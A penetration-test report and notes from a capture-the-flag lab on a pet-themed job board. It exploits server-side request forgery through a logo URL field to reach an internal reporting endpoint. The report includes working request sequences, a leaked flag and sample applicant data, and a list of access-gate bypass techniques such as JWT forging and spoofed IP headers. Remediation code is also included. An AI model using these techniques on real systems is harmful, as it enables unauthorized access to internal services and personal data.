FurHire: SSRF to Internal Reporting Endpoint
Part 1: Pentest Report
Executive Summary
FurHire is a pet-themed job board on the BugForge platform, built on Express with Socket.io for real-time application events. Recruiters post jobs and manage company profiles; applicants register and apply. Authentication uses HS256 JWTs sent as Authorization: Bearer <token>, with two roles in the wild (recruiter, user).
Testing confirmed 1 finding:
| ID | Title | Severity | CVSS | CWE | Endpoint |
|---|---|---|---|---|---|
| F1 | Server-Side Request Forgery via company logo_url field |
Critical | 9.0 | CWE-918 | PUT /api/company → GET /api/company/:id/logo |
The logo URL field on the recruiter’s company profile is fetched server-side and the response is proxied back to the requester verbatim. The fetcher accepts arbitrary URLs with no scheme or host validation, including http://localhost:3000. This bypasses the source-IP gate on the internal /reporting endpoint, exposing every job and every applicant record on the platform along with the lab flag.
Objective
Capture the lab flag. Operator framing referenced “find the source code”; the actual payoff was cross-tenant data exposure plus a flag delivered as an extra top-level key in an internal JSON response.
Scope / Initial Access
# Target Application
URL: https://lab-1778281312992-0l9iol.labs-app.bugforge.io
# Auth details
Self registration at POST /api/register?role=recruiter (or role=user).
JWT HS256, payload {id, username, role, iat}.
Sent as Authorization: Bearer <token>.
No password reset, no admin login surface visible.
Two roles in the wild: recruiter, user.
Registration is open. We registered as a recruiter to gain access to the company profile and logo-read endpoints.
Reconnaissance: Discovering /reporting by Endpoint Differential
The lab’s hint pointed at a “reporting endpoint.” We swept plausible candidate paths with auth preserved, watching for any response shape that wasn’t a 404.
- 17 of 18 candidate paths returned a 404 with the standard
Cannot GET /pathbody. /reportingreturned 403 with{"error":"Access denied"}and Content-Length 220. Existence by differential.- OPTIONS on
/reportingreturned 200 withAllow: GET,HEAD, confirming the route is registered for GET only. - The recruiter company profile accepts a
logo_urlfield. GET/api/company/:id/logoreturned 404 when no logo URL had been set, suggesting a fetch-on-read handler rather than a static asset.
Observations 1 through 3 motivated the bypass batch against /reporting. Observation 4 motivated the SSRF probe once the bypass batch was exhausted.
Application Architecture
| Component | Detail |
|---|---|
| Backend | Express, port 3000 internally (observed via SSRF) |
| Real-time | Socket.io for new_application and status_update events |
| Frontend | Pages at /, /register, /onboarding, /dashboard, /post-job, /jobs, /jobs/:id, /jobs/:id/applicants, /my-applications, /profile, /company |
| Auth | HS256 JWT, payload {id, username, role, iat}, sent as Bearer |
| Roles | recruiter, user |
| Edge | Reverse proxy fronts the app; Host header mismatches return a different 404 page |
API Surface (relevant endpoints)
| Endpoint | Method | Auth | Notes |
|---|---|---|---|
| /api/register | POST | No | Self registration; role chosen via query param |
| /api/company | PUT | recruiter | Accepts logo_url; URL is fetched on demand by the logo read |
| /api/company/:id/logo | GET | recruiter | Server-side fetch of logo_url, response body proxied verbatim |
| /reporting | GET | (gate) | Returns full cross-tenant data plus flag; access gated on source IP |
Attack Chain Visualization
┌────────────────┐ ┌─────────────────────────┐ ┌──────────────────────┐ ┌────────────────────────┐
│ Register as │ ─▶ │ PUT /api/company │ ─▶ │ GET /api/company/ │ ─▶ │ Response body = │
│ recruiter, │ │ logo_url = │ │ 3/logo │ │ /reporting JSON │
│ create │ │ http://localhost:3000 │ │ (server fetches the │ │ with all jobs, all │
│ company │ │ /reporting │ │ URL and proxies it) │ │ applicants, and flag │
└────────────────┘ └─────────────────────────┘ └──────────────────────┘ └────────────────────────┘
Findings
F1: Server-Side Request Forgery via company logo_url field
Severity: Critical
CVSS v3.1: 9.0 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N
CWE: CWE-918 (Server-Side Request Forgery)
Endpoint: PUT /api/company (write) → GET /api/company/:id/logo (fetch trigger)
Authentication required: Yes (any registered recruiter)
Description
The logo_url field on the recruiter company profile is stored on PUT and fetched server-side when the logo is later read via GET /api/company/:id/logo. The fetched response body is proxied back to the requester verbatim. The handler accepts arbitrary HTTP URLs with no scheme allowlist, no host allowlist, and no rejection of loopback or private network ranges. Setting logo_url to http://localhost:3000/reporting causes the server to fetch its own internal /reporting endpoint from a 127.0.0.1 source, satisfying the IP gate on that endpoint and returning its JSON body (all jobs, all applications with applicant PII, and the lab flag) through the logo read.
Impact
Cross-tenant read of every job and every applicant record on the platform, plus the lab flag.
Reproduction
Step 1: Authenticate as a recruiter
POST /api/register?role=recruiter HTTP/1.1
Host: lab-1778281312992-0l9iol.labs-app.bugforge.io
Content-Type: application/json
{"username":"r1","password":"r1","email":"[email protected]","full_name":"r1"}
Response: 200 with a JWT in the body. Use as Authorization: Bearer <jwt> for the next two requests.
Step 2: Set logo_url to the internal target
PUT /api/company HTTP/1.1
Host: lab-1778281312992-0l9iol.labs-app.bugforge.io
Authorization: Bearer <jwt>
Content-Type: application/json
{"company_name":"biz","industry":"pet","description":"d",
"location":"local","website":"https://website.biz",
"logo_url":"http://localhost:3000/reporting"}
Response: 200. Profile now references the internal URL.
Step 3: Trigger the fetch and read the response
GET /api/company/3/logo HTTP/1.1
Host: lab-1778281312992-0l9iol.labs-app.bugforge.io
Authorization: Bearer <jwt>
Response: 200 with Content-Type: text/html and a JSON body proxied from /reporting:
{
"jobs": [ ...all jobs across recruiters 4, 5, 6... ],
"applications": [
{"id":1,"status":"rejected",
"username":"deadbeat","email":"[email protected]",
"full_name":"deadbeat","job_title":"job","company_name":"biz",
"created_at":"...","updated_at":"..."}
],
"flag":"bug{Zmhwk1D7JHRDUFYnXj8zkOprcMM4ENHl}"
}
Remediation
Fix 1: Validate logo_url server-side before accepting it
// BEFORE (vulnerable)
app.put('/api/company', auth, async (req, res) => {
const { company_name, industry, description, location, website, logo_url } = req.body;
await db.upsertCompany(req.user.id, {
company_name, industry, description, location, website, logo_url
});
res.json({ ok: true });
});
// AFTER (secure)
const { URL } = require('url');
const dns = require('dns').promises;
const ipaddr = require('ipaddr.js');
async function safeExternalUrl(input) {
const u = new URL(input);
if (u.protocol !== 'https:') throw new Error('https only');
const { address } = await dns.lookup(u.hostname);
const range = ipaddr.parse(address).range();
const blocked = ['private', 'loopback', 'linkLocal', 'uniqueLocal',
'unspecified', 'reserved', 'broadcast'];
if (blocked.includes(range)) throw new Error('disallowed network range');
return u.toString();
}
app.put('/api/company', auth, async (req, res) => {
const { company_name, industry, description, location, website, logo_url } = req.body;
let safeLogo = null;
try { safeLogo = await safeExternalUrl(logo_url); }
catch { return res.status(400).json({ error: 'invalid logo_url' }); }
await db.upsertCompany(req.user.id, {
company_name, industry, description, location, website, logo_url: safeLogo
});
res.json({ ok: true });
});
Fix 2: Cache the fetched logo, do not proxy live on every read
// BEFORE (vulnerable)
app.get('/api/company/:id/logo', auth, async (req, res) => {
const company = await db.getCompany(req.params.id);
const upstream = await fetch(company.logo_url);
res.type(upstream.headers.get('content-type') || 'application/octet-stream');
upstream.body.pipe(res);
});
// AFTER (secure)
app.get('/api/company/:id/logo', auth, async (req, res) => {
const company = await db.getCompany(req.params.id);
const cached = await storage.getLogo(company.id);
if (!cached) return res.status(404).json({ error: 'no logo' });
res.type(cached.contentType).send(cached.bytes);
});
// Logo ingestion runs at write time, not at read time.
async function ingestLogo(companyId, url) {
const safe = await safeExternalUrl(url);
const r = await fetch(safe, { redirect: 'manual', timeout: 5000 });
const ct = r.headers.get('content-type') || '';
if (!ct.startsWith('image/')) throw new Error('not an image');
const bytes = Buffer.from(await r.arrayBuffer());
if (bytes.length > 2_000_000) throw new Error('logo too large');
await storage.putLogo(companyId, { contentType: ct, bytes });
}
Additional recommendations:
- Do not rely on source-IP gating alone for any internal endpoint. Add a signed token or peer credential check so an SSRF reaching loopback still cannot satisfy the gate.
- Restrict the lab process’s outbound network policy so it cannot reach
127.0.0.1,169.254.169.254(cloud metadata), or RFC1918 ranges except where explicitly required. - Reject responses on the logo read whose Content-Type is not
image/*.
OWASP Top 10 Coverage
- A10:2021 Server-Side Request Forgery: the
logo_urlfield is fetched server-side without scheme, host, or response-type validation. - A01:2021 Broken Access Control: the
/reportingendpoint relies on source-IP gating alone and dumps cross-tenant data once that gate is satisfied.
Tools Used
| Tool | Purpose |
|---|---|
| Caido | Request capture, replay, and edit-and-resend for the bypass batch |
interactsh-client (oob) |
Out-of-band confirmation that logo_url was being fetched server-side, before pivoting to localhost |
| jwtforge | alg=none and weak HS256 forging during the bypass batch (ruled JWT out as the gate) |
| curl | Final reproduction |
References
- CWE-918: Server-Side Request Forgery: https://cwe.mitre.org/data/definitions/918.html
- OWASP Top 10 A10:2021: https://owasp.org/Top10/A102021-Server-Side_Request_Forgery%28SSRF%29/
- OWASP SSRF Prevention Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html
Part 2: Notes / Knowledge
Key Learnings
- Direct bypass attempts have a punch list. Once it’s run, pivot to an indirect path before reaching for more creative direct probes. The punch list is auth stripped, auth forged with alg=none and weak HS secrets, role swaps, the IP and proxy header set, Host smuggling, common bot user agents, query parameters, method overrides, sub paths. Run it once. When the responses haven’t moved, that’s the exit condition. Stop probing the envelope and start hunting for somewhere the server makes its own outbound HTTP request: logo or avatar or image proxies, webhook senders, OAuth callback validators, URL preview generators, any form field whose name suggests a URL value. Those server-initiated fetches carry the trusted source IP and internal network position with them, which is the thing the direct path lacks. Confirm the SSRF surface in three stages so the final result is unambiguous: first a known good resource of the expected type to confirm the field is being fetched at all, then a URL pointing at a collector you control to confirm the fetch is server-side and to see whether the response comes back verbatim or summarized, then the privileged target last.
Failed Approaches
| Approach | Result | Why It Failed |
|---|---|---|
| GET /reporting unauthenticated | 403 Access denied | Gate is not based on auth presence |
| GET /reporting with a valid recruiter JWT | 403 Access denied (identical to unauth) | Gate does not read auth at all |
| JWT alg=none with role=admin/superadmin/moderator/reporter/staff/internal | 403 Access denied | Gate is not role based |
HS256 with weak secrets (secret, furhire, FurHire, supersecret, jwtsecret, changeme, password, admin, test, empty) |
403 Access denied | Gate is not JWT validated |
| 14 IP/proxy headers (X-Forwarded-For, X-Real-IP, X-Originating-IP, Forwarded, X-Forwarded-Host, X-Custom-IP-Authorization, Client-IP, True-Client-IP) with values 127.0.0.1, localhost, ::1, RFC1918 ranges | 403 Access denied | Gate does not read forwarded-IP headers |
Host header smuggling (Host: localhost / 127.0.0.1 / internal) |
Reverse proxy 404 (different body from app 404) | Hits the edge proxy’s vhost mismatch handler, not the app |
| Bot user agents (Googlebot, Bingbot, Slackbot, Twitterbot, facebookexternalhit, Mozilla-Googlebot, empty UA) | 403 Access denied | Gate does not read User-Agent |
| Origin and Referer with localhost values | 403 Access denied | Gate does not read Origin or Referer |
| 8 query parameters (?key=, ?token=, ?debug=1, ?internal=1, ?source=1, ?admin=1, ?access=true, ?role=admin) | 403 Access denied | Gate does not read query parameters |
| Method-override headers (X-HTTP-Method-Override, X-Original-URL, X-Rewrite-URL) | 403 Access denied or 404 | OPTIONS shows the route is GET-only and Express does not honor these headers |
| Sub-paths (/reporting/, /reporting/source, /reporting/admin, /reporting/health, /reporting/test, /reporting/foo, /api/reporting/data) | 404 | Only the bare /reporting path is registered |
| Error-forcing on existing endpoints (non-numeric path params, malformed JSON) | Clean 404 / generic 400 | App is in production mode with hardened error handlers; no stack traces leak |
SSRF on the website field (OOB probe) |
No interactions | Only logo_url is fetched by any reader we triggered |
Tags: #ssrf #bugforge #webapp #express #cwe-918 #owasp-a10
Document Version: 1.0
Last Updated: 2026-05-09